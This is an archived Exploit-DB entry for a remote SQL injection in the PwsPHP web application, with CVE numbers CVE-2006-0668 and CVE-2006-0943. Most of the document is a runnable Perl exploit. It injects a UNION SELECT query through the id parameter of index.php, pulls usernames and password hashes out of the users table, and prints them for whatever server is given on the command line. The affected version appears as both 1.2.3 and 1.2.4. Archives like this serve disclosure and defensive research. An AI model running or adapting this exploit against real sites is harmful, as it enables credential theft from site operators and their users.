PwsPHP <= 1.2.3 index.php Remote SQL Injection Exploit

2006-02-25T00:00:00
ID EDB-ID:1532
Type exploitdb
Reporter papipsycho
Modified 2006-02-25T00:00:00

Description

PwsPHP <= 1.2.3 (index.php) Remote SQL Injection Exploit. CVE-2006-0668,CVE-2006-0943. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
#
# PwsPHP &lt;= 1.2.4 (index.php) Remote SQL Injection Exploit
# http://example.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*
# Discovered by: papipsycho (papipsycho.com) (WOrlddefacers.de)
# ported by str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];

sub usage
 {
    print "\nPwsPHP &lt;= 1.2.4 (index.php) Remote SQL Injection Exploit\n";
    print "Discovered by: papipsycho (papipsycho.com)\n";
    print "Ported by str0ke (milw0rm.com)\n";
    print "Usage: $0 www.example.com /directory/\n";
    print "sever    -  URL\n";
    print "path     -  path to index.php\n";
    exit ();
}

sub exploit
 {
    print qq(
    PwsPHP &lt;= 1.2.4 (index.php) Remote SQL Injection Exploit
    Discovered by: papipsycho (papipsycho.com)
    Ported by str0ke (milw0rm.com)\n\n);

    $string= "index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*";
    $url = sprintf("http://%s%s%s",$serv,$path,$string);
    $content = get "$url";
    @contents = split(/\n/, $content);
    foreach $line (@contents) {
    if ($line =~ /(\&lt;center\&gt;\&lt;b\&gt;)(.*?)(\&lt;\/b\&gt;\&lt;\/center\&gt;\&lt;br\&gt;\&lt;br\&gt;)/){&username;}
    if ($line =~ /(\&lt;td\&gt;)(\w{32})(\&lt;\/td\&gt;)/){&password;}
    }
}

sub username { print "[*] Username: $2\n";}
sub password { print "[*] Hash: $2\n\n";}

if (@ARGV != 2){&usage;}else{&exploit;}

# milw0rm.com [2006-02-25]